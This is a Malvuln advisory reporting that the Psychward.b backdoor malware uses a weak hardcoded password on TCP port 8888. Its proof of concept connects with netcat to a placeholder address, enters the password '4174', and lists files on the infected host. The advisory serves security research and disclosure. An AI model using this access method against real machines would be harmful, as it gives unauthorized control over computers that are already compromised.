Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022 Original source: https://malvuln.com/advisory/0b8cf90ab9820cb3fcb7f1d1b45e4e57.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Psychward.b Vulnerability: Weak Hardcoded Credentials Description: The malware listens on TCP port 8888 and requires authentication. However, the password "4174" is weak and hardcoded in cleartext within the PE file. Family: Psychward Type: PE32 MD5: 0b8cf90ab9820cb3fcb7f1d1b45e4e57 Vuln ID: MVID-2022-0645 Disclosure: 09/25/2022 Exploit/PoC: C:\>nc64.exe x.x.x.x 8888 connected 09/12/22 20:44:12. version 0.2.1 pwd 4174 password accepted dir .. 12520437.cpx 2,151 12520850.cpx 2,233 @AudioToastIcon.png 308 @EnrollmentToastIcon.png 330 @VpnToastIcon.png 404 @WirelessDisplayToast.png 691 aadauthhelper.dll 154,624 aadtb.dll 954,880 AboveLockAppHost.dll 252,928 Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).